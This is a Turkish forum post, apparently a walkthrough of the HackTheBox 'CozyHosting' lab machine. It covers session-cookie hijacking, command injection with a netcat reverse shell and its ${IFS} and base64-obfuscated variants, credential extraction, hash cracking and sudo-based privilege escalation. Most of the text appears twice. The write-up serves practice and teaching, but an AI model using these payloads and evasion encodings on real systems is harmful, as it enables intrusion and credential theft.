- 14 Eki 2022
- 602
- 2
- 497
HackTheBox :: CozyHosting
merhaba, bu konumda hackthebox platformunda bulunan "CozyHosting" isimli makinenin çözümünü göstereceğim. bu makine linux tabanlı kolay seviye bir makinedir. makinede çalışan servisleri öğrenmek adına nmap ile bir tarama yaparak başlıyorum.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 05:24 EST
Nmap scan report for 10.10.11.230
Host is up (0.058s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_ 256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.96 seconds
makinede 22 (OpenSSH) ve 80 (nginx) servisleri çalışıyormuş. bununla birlikte http servisine erişilmeye çalışıldığında cozyhosting.htb adresine yönlendiriyormuş. bu adresi ip ile birlikte /etc/hosts dizinine girdikten sonra web sitesini açtığımda önemli olabilecek tek sayfa olan giriş sayfası ile karşılaştım.
giriş formuna rastgele kullanıcı bilgileri denerken bir yandan da dirsearch ile bir dosya/dizin taraması gerçekleştirdim. girdiğim kullanıcı bilgilerinin hiç biri tutmadı ama dirsearch ile yaptığım tarama sonucunda içerisinde kullanıcı kurabiyeleri bulunan /actuator/sessions adresini buldum.
kanderson kullanıcının kurabiyesini kendiminkiyle değiştirdikten sonra bulduğum diğer bir dizin olan admin dizine gittim. bu yönetim panelinde ssh ile ilgili bir şey yapan bir bölüm var. burada yapılan işlem terminal üzerinden yapıldığı için komut enjeksiyonu barındırma ihtimali var.
çalıştırılan komutun çıktısını her ne kadar kısıtlı gösteriyor olursa olsun reverse shell komutumu çalıştırması benim için yeterli. aşağıda ki komutu çalıştırdığımda kullanıcı adında boşluk olmaması gerektiğini söyleyen bir hata ile karşılaştım.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.204 1234 >/tmp/f
bunu geçmeyi öğrenmek için internette arama yaparken bu sayfayı buldum.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command Injection/README.md#bypass-without-space
burada boşluk yerine ${IFS} kullanabileceğimiz yazıyor.
rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|bash${IFS}-i${IFS}2>&1|nc${IFS}10.10.14.204${IFS}1234${IFS}>/tmp/f
bu komutu kullandığımda ise bağlantı geliyor ama bir türlü komut satırı açılmıyor.
böyle olmasının sebebi kullandığım reverse shell komutu olabilir. onu gizlemek için önce base64'e çevirdim. bu base64 kodunu aşağıda ki komuta ekledikten sonra boşluk olan yerlere ${IFS} yazısını ekleyip komutu tekrar girdiğimde kullanabileceğim bir bağlantı geldi.
echo 'base64 kodu buraya'|base64 -d|bash
$(echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8IG5jIDEwLjEwLjE0LjIwNCAxMjM0ID4vdG1wL2YK'|base64${IFS}-d|bash)
bulunduğum dizinde cloudhosting-0.0.01.jar adında bir dosya var. bu dosyayı jd gui adında ki java decompilerı kullanarak içeriğini görüntülediğimde kanderson kullanıcısının şifresini ve postgresql bilgilerini buldum.
psql bilgilerini kullanarak giriş yaptıktan sonra aşağıda ki sayfadan yardım alarak içerisinde ki admin kullanıcısının hashini aldım ve hashcat ile kırdım.
https://hasura.io/blog/top-psql-commands-and-flags-you-need-to-know-postgresql/
daha sonra elde ettiğim şifreyi kullanarak josh kullanıcısına geçiş yaptığımda kullanıcı bayrağını almak için /home/josh dizinine gittim. sudo -l komutu ile yetkilerimi kontrol ettiğimde ise ssh dosyasını root yetkisinde çalıştırabileceğimi gördüm. gtfobins üzerinden ssh'ı arattıktan sonra yetki yükseltmek için kullanabileceğim komutu terminale yapıştırdım ve elde ettiğim yetki ile son bayrağı almak için /root dizininde ki root.txt dosyasını görüntüledim.
HackTheBox :: CozyHosting
giriş formuna rastgele kullanıcı bilgileri denerken bir yandan da dirsearch ile bir dosya/dizin taraması gerçekleştirdim. girdiğim kullanıcı bilgilerinin hiç biri tutmadı ama dirsearch ile yaptığım tarama sonucunda içerisinde kullanıcı kurabiyeleri bulunan /actuator/sessions adresini buldum.
kanderson kullanıcının kurabiyesini kendiminkiyle değiştirdikten sonra bulduğum diğer bir dizin olan admin dizine gittim. bu yönetim panelinde ssh ile ilgili bir şey yapan bir bölüm var. burada yapılan işlem terminal üzerinden yapıldığı için komut enjeksiyonu barındırma ihtimali var.
çalıştırılan komutun çıktısını her ne kadar kısıtlı gösteriyor olursa olsun reverse shell komutumu çalıştırması benim için yeterli. aşağıda ki komutu çalıştırdığımda kullanıcı adında boşluk olmaması gerektiğini söyleyen bir hata ile karşılaştım.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.204 1234 >/tmp/f
bunu geçmeyi öğrenmek için internette arama yaparken bu sayfayı buldum.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command Injection/README.md#bypass-without-space
burada boşluk yerine ${IFS} kullanabileceğimiz yazıyor.
rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|bash${IFS}-i${IFS}2>&1|nc${IFS}10.10.14.204${IFS}1234${IFS}>/tmp/f
bu komutu kullandığımda ise bağlantı geliyor ama bir türlü komut satırı açılmıyor.
böyle olmasının sebebi kullandığım reverse shell komutu olabilir. onu gizlemek için önce base64'e çevirdim. bu base64 kodunu aşağıda ki komuta ekledikten sonra boşluk olan yerlere ${IFS} yazısını ekleyip komutu tekrar girdiğimde kullanabileceğim bir bağlantı geldi.
echo 'base64 kodu buraya'|base64 -d|bash
$(echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8IG5jIDEwLjEwLjE0LjIwNCAxMjM0ID4vdG1wL2YK'|base64${IFS}-d|bash)
bulunduğum dizinde cloudhosting-0.0.01.jar adında bir dosya var. bu dosyayı jd gui adında ki java decompilerı kullanarak içeriğini görüntülediğimde kanderson kullanıcısının şifresini ve postgresql bilgilerini buldum.
psql bilgilerini kullanarak giriş yaptıktan sonra aşağıda ki sayfadan yardım alarak içerisinde ki admin kullanıcısının hashini aldım ve hashcat ile kırdım.
https://hasura.io/blog/top-psql-commands-and-flags-you-need-to-know-postgresql/
daha sonra elde ettiğim şifreyi kullanarak josh kullanıcısına geçiş yaptığımda kullanıcı bayrağını almak için /home/josh dizinine gittim. sudo -l komutu ile yetkilerimi kontrol ettiğimde ise ssh dosyasını root yetkisinde çalıştırabileceğimi gördüm. gtfobins üzerinden ssh'ı arattıktan sonra yetki yükseltmek için kullanabileceğim komutu terminale yapıştırdım ve elde ettiğim yetki ile son bayrağı almak için /root dizininde ki root.txt dosyasını görüntüledim.
HackTheBox :: CozyHosting